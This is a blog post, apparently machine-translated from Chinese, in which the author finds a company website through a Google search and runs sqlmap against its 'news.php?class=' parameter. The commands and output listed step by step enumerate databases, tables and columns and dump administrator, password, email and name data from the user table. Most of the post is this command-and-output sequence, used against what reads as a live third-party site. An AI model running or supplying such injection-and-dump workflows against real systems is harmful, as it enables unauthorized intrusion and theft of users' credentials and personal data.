当前位置:网站首页>Record the SQL injection vulnerability of XX company
Record the SQL injection vulnerability of XX company
2022-07-29 05:42:00 【adeylinux】
In the morning , When I get up , My friend , Ask me to participate in public welfare SRC. Then I was dragged to explore public welfare SRC. I opened it. Google Search for :inurl: Science and technology company . Then I opened a website . I previewed the website and found ?id Because of occupational disease . I am here ?id After that, a Single quotation marks ok ah . The page changes . I guess so xss perhaps SQL Inject holes .

Start penetration testing .
take out sqlmap Just a shuttle .
python sqlmap.py -u "http://www.xxxxxxx.com/news.php?class="
The result is really flawed . Then continue to test ,
python sqlmap.py -u "http://www.xxxxxxx.com/news.php?class=" --dbs
Here are two libraries :bdm818993245_db,information_schema
Then a shuttle .
python sqlmap.py -u "http://www.xxxxxxx.com/news.php?class=" -D bdm818993245_db --tables
bdm818993245_db Under the database 9 A watch :
| user || gplat_book || gplat_news || gplat_newsclass || gplat_newsclass2 || href || job || job_add || lawyer_wenda |
Next query user The following administrator and password .
python sqlmap.py "http://www.xxxxxxx.com/news.php?class=" -D bdm818993245_db -T user --columns
Space allowed user The following are 13 Columns :
+-----------+---------------+| Column | Type |+-----------+---------------+| adder | varchar(8) || admin | int(2) || email | varchar(60) || grade | varchar(12) || id | int(6) || image | varchar(70) || name | varchar(60) || pass | varchar(60) || phone | varchar(14) || qianming | varchar(100) || times | datetime || up_time | datetime || xingb | varchar(2) |+-----------+---------------+
Next query user below admni and pass The data of :
python sqlmap.py "http://www.xxxxxxx.com/news.php?class=" -D bdm818993245_db -T user -C admin,pass --dump
Next, collect the data of the database :
python sqlmap.py "http://www.xxxxxxx.com/news.php?class=" -D bdm818993245_db -T user -C email --dump 
Then collect data :
python sqlmap.py "http://www.xxxxxxx.com/news.php?class=" -D bdm818993245_db -T user -C 
Query the user name of the administrator :
python sqlmap.py "http://www.xxxxxxx.com/news.php?class=" -D bdm818993245_db -T user -C name --dump
The collection is almost done . End the penetration test . I will study the rest of the databases, tables and columns slowly .
summary :
SQl Injection try to use hand injection . Because tools run websites . It's easy to jump .

My public number . Please take care of me .
边栏推荐
- Clickhouse learning (XI) clickhouseapi operation
- HCIA-R&S自用笔记(27)综合实验
- JS deep copy - Notes
- 使用Qss设置窗体样式
- On Paradigm
- ClickHouse学习(四)SQL操作
- [C language series] - string + partial escape character explanation + annotation tips
- Seay源代码审计系统
- uniapp组件之倒计时(如阅读协议倒计时、完成学习倒计时)
- [C language series] - realize the exchange of two numbers without creating the third variable
猜你喜欢

Detailed explanation of GPIO input and output

Clickhouse learning (IV) SQL operation

Clickhouse learning (VI) grammar optimization

DAY15(DAY16拓展):文件包含漏洞

Wechat applet - component parameter transmission, state management
![[typescript] learn typescript object types in depth](/img/87/a9fd2f177331863e06fcf14559eeed.png)
[typescript] learn typescript object types in depth

shell基本操作(上)

Playwright实战案例之爬取js加密数据

Seay源代码审计系统

table中同一列中合并相同项
随机推荐
Summary of the first week
Longest string without duplicate characters
link与@import的关系
rem与px与em异同点
uniapp组件之tab选项卡滑动切换
全局components组件注册
Wapiti是什么以及使用教程
HCIA-R&S自用笔记(27)综合实验
MySQL解压版windows安装
表格与表单相关知识点总结
Using POI TL to insert multiple pictures and the same data of multiple rows of cells into the table cells of word template at one time, it is a functional component for automatic merging
365 day challenge leetcode1000 question - day 036 binary tree pruning + subarray and sorted interval sum + delete the shortest subarray to order the remaining arrays
Cmu15-213 shell lab experiment record
Application of Huffman tree and Huffman coding in file compression
VIM editor use
常见特征工程操作
QFrame类学习笔记
uniapp组件之选择选项(如套餐选择)
微信小程序-组件传参,状态管理
Basic use of redis